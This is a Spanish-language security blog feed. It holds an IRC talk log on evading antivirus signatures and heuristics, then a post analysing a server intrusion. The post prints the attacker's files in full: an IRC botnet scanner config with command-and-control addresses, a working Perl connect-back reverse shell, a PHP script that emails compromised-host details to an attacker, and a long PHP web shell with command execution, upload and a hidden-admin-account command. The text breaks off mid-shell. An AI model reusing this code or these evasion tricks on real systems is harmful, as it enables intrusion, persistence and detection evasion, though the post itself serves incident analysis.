&lt;sdc&gt; que pasa si el programa hace referencia a la memoria que desplazamos? por ejemplo si es un for que tiene como marcador de inicio la instruccion 403509 o algo asi..<br />
&lt;sdc&gt; se muere el programa supongo, no seria mas eficiente colocar instrucciones equivalentes?<br />
&lt;Psymera&gt; para eso existe la tecnica meepa xP<br />
&lt;sdc&gt; como en ese xor esi esi, un mov esi 0<br />
&lt;Psymera&gt; ke es una vercion refinada de la rit o pordriamos buscar otras firmas mas sencilla ke sean detectadas<br />
&lt;Psymera&gt; aun ke si es valido como lo dices pero el problema es ke igual no son del mismo tamaño las intrcciones<br />
&lt;sdc&gt; ah sisi<br />
&lt;sdc&gt; eso es verdad<br />
&lt;Psymera&gt; entocnes tendriamos ke mover mucho las direccion y demaz<br />
&lt;sdc&gt; pero la de meepa recrea el virus en memoria no?<br />
&lt;Psymera&gt; haci es<br />
&lt;sdc&gt; muchos antivirus checan tambien la memoria no?<br />
&lt;sdc&gt; no solo el archivo<br />
&lt;Psymera&gt; en parte<br />
&lt;Psymera&gt; hacen un chekeo en memoria pero solo X instricciones o tiempo al principio<br />
&lt;sdc&gt; ah vaya<br />
&lt;Psymera&gt; bueno deja explico mepa xP rapido para regrear ah esto<br />
<strong>&lt;Psymera&gt; bueno tal como sdc comento mepa se trata de recostruir el programa en memoria<br />
&lt;Psymera&gt; esto se hace teniendo las offsets y sus valores originales<br />
&lt;Psymera&gt; al principio del programa antes de cualkier instruccion crea un salto a una cave<br />
&lt;Psymera&gt; la cual contiene un codigo ke regenera los valores en memoria ah su estado original<br />
&lt;Psymera&gt; y despues regresa al flujo normal del programa</strong><br />
&lt;Psymera&gt; por lo cual muchas firmas dificiles de modificar o sencibles ya no lo son<br />
&lt;Psymera&gt; pero bueno aki encotnramos el problema del analizis en memoria<br />
<strong>&lt;Psymera&gt; los antivirus igual nos buscan las firmas una vez cargado en memoria y durante los primeros X ciclos de ejeccion</strong><br />
&lt;Psymera&gt; entre ello va la simulacion de ejecuccion para buscar firmas o rutinas sospechosas<br />
&lt;Psymera&gt; pero bueno esto no es una labor infinita o ke se mantenga ah lo largo de toda la ejecucion<br />
Psymera&gt; por lo mismo ke es demaciado costoso en recursos<br />
&lt;Psymera&gt; y gracias ah ello podemos evitar mucha deteccion cuando somos geniales en asm y sabemos meter unas buenas rutinas haci en bruto en las cavernas o teniendo el codigo fuente<br />
&lt;sdc&gt; jajaja..<br />
&lt;Psymera&gt; por ejemplo karsperky es muy facil de saltar su heuristica por ello mismo<br />
<strong>&lt;Psymera&gt; por poner un ejemplo comunmente okupado en malware echo en vb<br />
&lt;Psymera&gt; es el de poner un timer ah X cantidad de mili segundos y ese a su vez active otro timer y haci ssesivamente XD<br />
&lt;Psymera&gt; aun ke bueno se puede hacer on uno solo y solo okupar un bloke<br />
&lt;Psymera&gt; o okpar un hilo<br />
&lt;Psymera&gt; el chiste es ke okupemos esa cantidad de chekeos ke tiene permitido hacer</strong><br />
Psymera&gt; y con ello saltarnos su heuristica<br />
&lt;Psymera&gt; esto de igual forma podemos implementarlos con las tecnicas ke comente anteriormente para introduccion de codigo<br />
&lt;Psymera&gt; bien bueno<br />
&lt;Psymera&gt; preguntas comentarios<br />
&lt;Psymera&gt; mentadas? XD<br />
&lt;Psymera&gt; me falto algo? xP<br />
&lt;hkm&gt; tu tool lo pondre en el log de la platica<br />
&lt;hkm&gt; attacheado al post<br />
&lt;Psymera&gt; vap xP<br />
&lt;elprimodel5patas&gt; esta muy chinga la tool<br />
&lt;Psymera&gt; bien de perdida refreskenmela XD<br />
&lt;Drackoz&gt; no pues estuvo buena la exposicion del meepa<br />
&lt;hkm&gt; Se me hizo interesante todas las formas diferentes de brincar las firmas, y es lo mismo para packers y crypters y demas?<br />
&lt;Psymera&gt; haci es<br />
&lt;SAKIA&gt; eip!! meepa rulez!! or algun killav<br />
&lt;Psymera&gt; no me gustan en lo personal los killav<br />
&lt;elprimodel5patas&gt; por?<br />
&lt;SAKIA&gt; no son etikos jajajaja<br />
&lt;Psymera&gt; son poko artisticos y chillan mucho<br />
&lt;Psymera&gt; cuando vez ke el iconito del AV ya noe sta en el task<br />
&lt;Psymera&gt; te espantas<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;elprimodel5patas&gt; verga que le hice!<br />
&lt;elprimodel5patas&gt; te paniqueas tu<br />
&lt;Psymera&gt; esactamente eso ,xd<br />
&lt;elprimodel5patas&gt; en ves de la compu<br />
&lt;elprimodel5patas&gt; si me ah pasdo jeejejej<br />
&lt;elprimodel5patas&gt; que eliminas cosas que no querias<br />
&lt;SAKIA&gt; tienen su chiste pero si hicieras tu colecc de icons<br />
<strong>&lt;SAKIA&gt; asi nomas cuelgas un icono basura pa que no se den cuenta jajaja y hasta los procesos fakeaz</strong><br />
&lt;Psymera&gt; esta bien eso<br />
&lt;Psymera&gt; pero honestamente ah mi me gusta mas la parte romantica de uno contra la compañia completa del AV XD<br />
&lt;SAKIA&gt; pues tambien es jocoso uno contra el av<br />
&lt;hkm&gt; muy bien pues con eso terminamos las platicas<br />
<strong>&lt;sdc&gt; deberias hacer un killav que ponga un icono que sea iwal al antivirus que usas</strong><br />
&lt;jimtronic&gt; pos aprendimos mucho ahora<br />
&lt;sdc&gt; y no haga nada, nomas este ahi<br />
&lt;SAKIA&gt; sdc es lo que io decia<br />
&lt;sdc&gt; seh buena idea<br />
&lt;Psymera&gt; xD<br />
&lt;sdc&gt; jajajaja<br />
&lt;Drackoz&gt; valio la pena la espera<br />
&lt;Drackoz&gt; y la desvelada</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/uncategorized/machancando-avs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Analisis de una Intrusion y un bot</title>
		<link>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/</link>
		<comments>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 01:52:16 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet security hacking analisis Scan2009.txt]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=33</guid>
		<description><![CDATA[Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias [...]]]></description>
			<content:encoded><![CDATA[<p>Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias hackers que eran INVISIBLES y no inservibles? pero bueno que se yo no? jajajajaja</p>
<p>Bueno me toco ayudar a una persona que le hicieron una intrusion con inclusion de codigo, es bastante interesante porque se vio ejecutar perl Scan009.txt que me llamo la atencion y lo consegui del sitio donde bajo el botnet el ataque:</p>
<p>http://matudesign.com/dh/imagenes/Scan2009.txt</p>
<p><span id="more-33"></span></p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

  ##################################################################
  ##                                                                                 ##
  ##                                                                                 ##
  ##                                                                   05/06/2008    ##
  ##  Author  : BitchX and Osirys                                                    ##                                                             ##
  ##  Team    : FullNetWork                                                          ##
  ##  Ircd    : irc.fullnetwork.org                                                  ##
  ##  WebSite :                                                                      ##
  ##  Contact : safes[dot]modes[at]gmail[dot]com                                     ##
  ##                                                                                 ##
  ##                                                                                 ##
  ##  Release: v1 Private                                                            ##
  ##                                                                                 ##
  ##                                                                                 ##
  #####################################################################################

### !!_/ PRIVATE

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

#######################################################
## CONFIGURATION                                     //
#######################################################

my $id    = "http://matudesign.com/dh/imagenes/02.txt??"; #Your RFI Response
#Shell printed on the Vulnerable Site
my $shell = "http://matudesign.com/dh/imagenes/cmd-shell.txt??";
my $ircd  = "64.136.61.195";
my $port  = "7000";
my $chan1 = "#offspring"; #Chan for Scan
my $chan2 = "#offspring"; #bot will be printed here too
my $nick  = "[D]PRIVATE".(int(rand(100)));
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time.
#For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
#Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results,
# you can put a higher number, so more speed.
my $rfipidpr0c = 50;
my @User_Agent = &#038;Agent();

### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )

my $spread = "http://matudesign.com/dh/imagenes/01.txt??";

my $spreadACT = 0; #0 ->disabled, 1 ->enabled
my $securityACT = 0; #0 ->disabled, 1 ->enabled

my $killpwd = "lol"; #Password to Kill the Bot
my $chidpwd = "lol"; #Password to change the RFI Response
my $cmdpwd = "lol"; #Password to execute commands on the server
my $secpwd = "lol";
my $spreadpwd = "lol";

my $badspreadpwd != $spreadpwd;
my $badkillpwd != $killpwd;
my $badidpwd != $chidpwd;
my $badcmdpwd =! $cmdpwd;

#######################################################
## END OF CONFIGURATION                              //
#######################################################

open( $f1le, ">", "rm.txt" );
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\*\")\;\n";
close $f1le;

my $sys = `uname -a`;
my $up = `uptime`;

if ($spreadACT == 0) {
    $t5 = "OFF";
}
elsif ($spreadACT == 1) {
    $t5 = "ON";
}

if ($securityACT == 0) {
    $y5 = "OFF";
}
elsif ($securityACT == 1) {
    $y5 = "ON";
}

$k=0;

if ( fork() == 0 ) {
    &#038;irc( $ircd, $port, $chan1, $chan2, $nick );
}
else {
    exit;
}

... LONG BORING CODE AVAILABLE ON DEMAND ...

## PRIVATE
## Coded by BitchX and Osirys
</pre>
<p>Este script esta intersante, esta hecho para tomar comandos desde IRC para hacer scans masivos, infectar mas servers y agregarlos dentro de la botnet y reportarse (me encantaron sobre todo los passwords en los que podemos tomar control de la botnet nosotros mismos) asi tambien agregaron y ejecutaron los siguientes scripts:</p>
<p>http://matudesign.com/dh/imagenes/02.txt</p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

use IO::Socket;

#IRAN HACKERS SABOTAGE Connect Back Shell          

#code by:LorD

#We Are :LorD-C0d3r-NT                                           

#Email:LorD@ihsteam.com

#

#lord@SlackwareLinux:/home/programing$ perl dc.pl

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#Usage: dc.pl [Host] [Port]

#

#Ex: dc.pl 127.0.0.1 2121

#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#[*] Resolving HostName

#[*] Connecting... 127.0.0.1

#[*] Spawning Shell

#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121

#listening on [any] 2121 ...

#connect to [127.0.0.1] from localhost [127.0.0.1] 32769

#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#--==Systeminfo==--

#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux

#

#--==Userinfo==--

#uid=1001(lord) gid=100(users) groups=100(users)

#

#--==Directory==--

#/root

#

#--==Shell==--

#

$system	= '/bin/sh';

$ARGC=@ARGV; 

print "--== ConnectBack Backdoor Shell vs 1.0 by xiP / eu kero comprar meu carroOOOo..!!! ==-- \n\n"; 

if ($ARGC!=2) { 

   print "Usage: $0 [Host] [Port] \n\n"; 

   die "Ex: $0 127.0.0.1 2121 \n"; 

} 

use Socket; 

use FileHandle; 

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 

print "[*] Olhando o servidor...\n";

print "[*] ConectandO... $ARGV[0] \n"; 

print "[*] Spawning Shell \n";

print "[*] Connected to remote host \n";

SOCKET->autoflush(); 

open(STDIN, ">&#038;SOCKET"); 

open(STDOUT,">&#038;SOCKET"); 

open(STDERR,">&#038;SOCKET"); 

print "--== ConnectBack Backdoor vs 1.0 by by xiP / eu kero comprar meu carroOOOo..!!! ==--  \n\n"; 

system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;

echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 

system($system);

#EOF
</pre>
<p>Ojo con el MAESTRO del system (me preugnto yo para que hacer tanto show y que pasa si no esta el command o peor eso se ve fuertisimo pero bueno no podemos pedir demaciado, jejejejeje</p>
<p>Y esta preciosura tambien:</p>
<pre name="code" class="prettiprint">
<? ob_clean(); ?>
 <?
 $cabeceras = "Content-type: text/html\r\n";
 $m1=$_SERVER['HTTP_HOST'];
 $m2=$_SERVER['REQUEST_URI'];
 $hostn=$_SERVER['HTTP_HOST'];
 $ran = rand(0,999);
 $ran = "$ran$ran";
 $asunto = "$ran # Vuln Owns";
 $arr =array($to,$message);
 $msg = "1nb0x1nh4: $m1.$m2 \nHostname: $hostn\n" . " " . '
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
TAG html TAG
TAG head TAG
TAG meta content="text/html; charset=ISO-8859-1" http-equiv="content-type" TAG
TAG /head TAG
TAG body TAG

';
 mail("math3us1m@hotmail.com", $asunto, $msg, $cabeceras);
 ?>

<?php
$id1 = system(id);
$un = @php_uname();
$os = @PHP_OS;

echo "3b1tchx3mailOK";
echo "id: $id1";
echo "os: $os";
echo "uname -a: $un";
exit;
</pre>
<p>Manda un email a math3us1m@hotmail.com avisandole del hack, mandemosles muchos y muchos correos de hack! jajajaja porque no?</p>
<p>Y para mantener el control usan: http://matudesign.com/dh/imagenes/cmd-shell.txt</p>
<pre name="code" class="prettyprint">
TAG html TAG
TAG head>
TAG meta http-equiv="Content-Language" content="pt-br">
TAG meta name="GENERATOR" content="Microsoft FrontPage 5.0">
TAG meta name="ProgId" content="AoD">
TAG meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
TAG title>My life is Crazy Man TAG/title>
TAG style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}
A:hover {text-decoration:underline}
A:active {text-decoration:underline}
body,td {
 font-family: verdana;
 font-size: 8pt;
 background-color: #006600;
}
a{
 color: #0000FF;
 text-decoration: none;
}
a:hover {
 color: #FF0000;
 text-decoration: underline;
}
TAG /style>
TAG /head>
TAG body >
TAG center>
<h2> --== ?YOUNGEST? Hack Shell==-- </h2>

</center>
TAG ?php

 @set_time_limit(0);

 $string = $_SERVER['QUERY_STRING'];
 $mhost = 'http://www.freewebs.com/segunogunyemi/derrr.jpg?';
 $host_all = explode("$mhost", $string);
 $s1 = $host_all[0];
 $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;

 $OS = @PHP_OS;
 $IpServer = '127.0.0.1';
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
 else { $SafeMode = "<i>$SafeMode</i>"; }

 $btname = 'backtool.txt';
 $bt = 'http://www.smashed-radio.com/forum/cmds.txt';
 $dc = 'http://www.smashed-radio.com/forum/cmds.txt';
 $newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup

"Administrators" /add Admin;net localgroup "Users" /del
Admin';
 $bn = 'http://www.smashed-radio.com/forum/cmds.txt';
// Java Script
 echo "TAG script type=\"text/javascript\">";

 echo "function ChMod(chdir, file) {";
 echo "var o = prompt('Chmod: - Contoh: 0777', '');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=chmod&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;chmod=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Rename(chdir, file, mode) {";
 echo "if (mode == 'edit') {";
 echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
 echo "}";
 echo "else {";
 echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
 echo "}";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=rename&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;newname=' + o + '&#038;mode=' + mode +\"\";";
 echo "}";
 echo "}";
 echo "function Copy(chdir, file) {";
 echo "var o = prompt('Copied for:', '/tmp/' + file);";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=copy&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;fcopy=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Mkdir(chdir) {";
 echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=mkdir&#038;chdir=' + chdir +
'&#038;newdir=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "function Newfile(chdir) {";
 echo "var o = prompt('Nama File?', 'File_Baru.txt');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=newfile&#038;chdir=' + chdir +
'&#038;newfile=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "</script>";

 // End JavaScript

 /* Functions */
 function cmd($CMDs) {
 $CMD[1] = '';
 exec($CMDs, $CMD[1]);
 if (empty($CMD[1])) {
  $CMD[1] = shell_exec($CMDs);
 }
  elseif (empty($CMD[1])) {
  $CMD[1] = passthru($CMDs);
 }
 elseif (empty($CMD[1])) {
  $CMD[1] = system($CMDs);
 }
 elseif (empty($CMD[1])) {
  $handle = popen($CMDs, 'r');
  while(!feof($handle)) {
   $CMD[1][] .= fgets($handle);
  }
  pclose($handle);
 }
 return $CMD[1];
 }

if (@$_GET['chdir']) {
 $chdir = $_GET['chdir'];
} else {
  $chdir = getcwd()."/";
 }
if (@chdir("$chdir")) {
 $msg = "TAG font color=\"#008000\"> Pintu Masuk ke Direktori, OK!</font>";
} else {
 $msg = "TAG font color=\"#FF0000\">Error: Gagal masukkan ke folder!</font>";
 $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
}
 $chdir = str_replace(chr(92), chr(47), $chdir);

if (@$_GET['action'] == 'upload') {
 $uploaddir = $chdir;
 $uploadfile = $uploaddir. $_FILES['userfile']['name'];
 if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .

$_FILES['userfile']['name'])) {
 $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$_FILES['userfile']['name']}</font>, Upload File Berjaya.

</font>";
 } else {
   $msg = "TAG font color=\"#FF0000\">Error: Upload File Gagal.</font>";
  }
}
elseif (@$_GET['action'] == 'mkdir') {
   $newdir = $_GET['newdir'];
   if (@mkdir("$chdir"."$newdir")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newdir}</font>, folder

berhasil dibuat. </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Pembuatan folder
gagal.</font>";
     }
}
elseif (@$_GET['action'] == 'newfile') {
   $newfile = $_GET['newfile'];
   if (@touch("$chdir"."$newfile")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newfile}</font>, berhasil

dibuat! </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Tak Boleh Buat File!</font>";
     }
}

elseif (@$_GET['action'] == 'del') {
    $file = $_GET['file']; $type = $_GET['type'];
    if ($type == 'file') {
     if (@unlink("$chdir"."$file")) {
      $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus arsip (file)!</font>";
     } else {
        $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan File
(file)!</font>";
       }
    } elseif ($type == 'dir') {
       if (@rmdir("$chdir"."$file")) {
         $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus folder!</font>";
       } else {
          $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan
folder!</font>";
         }
      }
}
elseif (@$_GET['action'] == 'chmod') {
    $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
    if (@chmod ("$file", $chmod)) {

     $msg = "TAG font color=\"#008000\">Chmod dari</font> TAG font color=\"#000080\">{$_GET['file']}</font> TAG font color=\"#008000\">berubah
menjadi</font>

TAG font color=\"#000080\">$chmod</font> TAG font color=\"#008000\">:
Sukses!</font>";
    } else {
       $msg = 'TAG font color=\"#FF0000\">Error: Gagal mengubah
chmod.</font>';
      }
}
elseif (@$_GET['action'] == 'rename') {
    $file = $_GET['file']; $newname = $_GET['newname'];
    if (@rename("$chdir"."$file", "$chdir"."$newname")) {
     $msg = "TAG font color=\"#008000\">Archive</font> TAG font color=\"#000080\">{$file}</font>

TAG font color=\"#008000\">named for</font> TAG font color=\"#000080\">{$newname}</font> TAG font color=\"#008000\">successfully!</font>";
    } else {
       $msg = "TAG font color=\"#FF0000\">Error: Gagal menukar File.</font>";
      }
}
elseif (@$_GET['action'] == 'copy') {
   $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
   if (@copy("$file", "$copy")) {
    $msg = "TAG font color=\"#000080\">{$file}</font>, TAG font color=\"#008000\">disalin

menjadi</font> TAG font color=\"#000080\">{$copy}</font> TAG font color=\"#008000\">

Berhasil!</font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Gagal menyalin </font> TAG font color=\"#000000\">{$file}</font> TAG font color=\"#FF0000\">menjadi</font>
TAG font color=\"#000000\">{$copy}</font></font>";
     }
}
/* Parte Atualiza 02:48 12/2/2006 */

elseif (@$_GET['action'] == 'cmd') {
 if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
 $cmd = stripslashes(trim($cmd));
 $result_arr = cmd($cmd);

 $afim = count($result_arr); $acom = 0; $msg = '';
 $msg .= "
<p style=\"color: #000000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b>

";
 if ($result_arr) {
 while ($acom <= $afim) {
  $msg .= "
<p style=\"color: #008000;text-align: left;font-family:

'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."

";
 $acom++;
  }
 }
 else {
 $msg .= "
<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Error: Gagal Menjalankan perintah.

";
 }
}
elseif (@$_GET['action'] == 'safemode') {
if (@!extension_loaded('shmop')) {
 echo "Loading... module</br>";

   if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
       @dl('php_shmop.dll');
   } else {
       @dl('shmop.so');
   }
}

if (@extension_loaded('shmop')) {
 echo "Module: <b>shmop</b> loaded!</br>";

 $shm_id = @shmop_open(0xff2, "c", 0644, 100);
 if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
 $data="\x00";
 $offset=-3842685;
 $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
 if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire
length of

data\n"; }
 if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for
deletion."; }
 echo passthru("id");
 shmop_close($shm_id);

} else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
}

elseif (@$_GET['action'] == 'zipen') {
 $file = $_GET['file'];
 $zip = @zip_open("$chdir"."$file");
 $msg = '';
if ($zip) {

   while ($zip_entry = zip_read($zip)) {
       $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
       $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) .
"\n";
       $msg .= "Compressed Size:    " .
zip_entry_compressedsize($zip_entry) . "\n";
       $msg .= "Compression Method: " .
zip_entry_compressionmethod($zip_entry) . "\n";

       if (zip_entry_open($zip, $zip_entry, "r")) {
           echo "File Contents:\n";
           $buf = zip_entry_read($zip_entry,
zip_entry_filesize($zip_entry));
           echo "$buf\n";

           zip_entry_close($zip_entry);
       }
       echo "\n";

   }

   zip_close($zip);

}
}
elseif (@$_GET['action'] == 'edit') {
 $file = $_GET['file'];
 $conteudo = '';
 $filename = "$chdir"."$file";
 $conteudo = @file_get_contents($filename);
 $conteudo = htmlspecialchars($conteudo);
 $back = $_SERVER['HTTP_REFERER'];
 echo "
<p align=\"center\">Editing {$file} ...

";
 echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse\" width=\"100%\" id=\"editacao\">";
 echo "
<tr>";
 echo "
<td width=\"100%\">";
 echo "
<form method=\"POST\"

action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
 echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<p align=\"center\">";
 print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family:
Verdana;

font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea>

";
 echo "
<p align=\"center\">";
 echo "
<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border:
1px solid

#000000\"> ";
 echo "
<input type=\"button\" value=\"Tutup\"

Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\"
name=\"B1\" style=\"

border: 1px solid #000000\"> ";
 echo "</form>

";
 echo "</td>

";
 echo "</tr>

";
 echo "</table>

";
}
elseif (@$_GET['action'] == 'save') {
  $filename = "$chdir".$_GET['file'];
  $somecontent = $_POST['S1'];
  $somecontent = stripslashes(trim($somecontent));
  if (is_writable($filename)) {
   @$handle = fopen ($filename, "w");
   @$fw = fwrite($handle, $somecontent);
   @fclose($handle);
   if ($handle &#038;&#038; $fw) {
    $msg = "TAG font color=\"#000080\">{$_GET['file']}</font>, TAG font color=\"#008000\">berhasil diedit!</font>";
   }
 } else {
   $msg = "TAG font color=\"#000000\">{$_GET['file']},</font> TAG font color=\"#FF0000\">tidak

bisa ditulisi!</font>";
  }
}

// Informa?s
 $cmdget = '';
 if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
 $cmdget = htmlspecialchars($cmdget);
 function asdads() {
 $asdads = '';
 if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
 if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
 if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
 if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
 if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
 return $asdads;
 }

echo "
<form method=\"POST\" name=\"cmd\"

action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
echo "
<fieldset style=\"border: 1px solid #000000; padding: 2\">";
echo "
<legend>Informasi</legend>

";
echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Sistem </b> </td>

 ";
echo "
<td width=\"92%\">: {$OS}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Nama </b></td>

 ";
echo "
<td width=\"92%\">: {$UNAME}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>PHP </b></td>

 ";
echo "
<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>

";
echo "</tr>

";
 if (strtoupper(substr($OS, 0,3) != 'WIN')) {
 $Methods = asdads();
 if ($Methods == '') { $Methods = "???"; }
 echo "
<tr>";
 echo "
<td width=\"8%\">";
 echo "<b>Methods </b></td>

 ";
 echo "
<td width=\"92%\">: {$Methods}</td>

";
 echo "</tr>

";
 }

echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>IP </b></td>

 ";
echo "
<td width=\"92%\">: {$IpServer}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Perintah </b></td>

 ";
echo "
<td width=\"92%\">:
<input type=\"text\" size=\"70\" name=\"cmd\"
value=\"{$cmdget}\"

style=\" font-size: 8 pt; border: 1px solid #000000\">
<input
type=\"submit\"

name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid

#000000\"></td>

";
echo "</tr>

";
echo "</table>

";
echo "</fieldset>
</form>

";
// Dir

echo "
<form method=\"POST\"
action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"

enctype=\"multipart/form-data\">";
echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<fieldset style=\"border:
1px solid

#000000; padding: 2\">";
if (is_writable("$chdir")) {
 if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

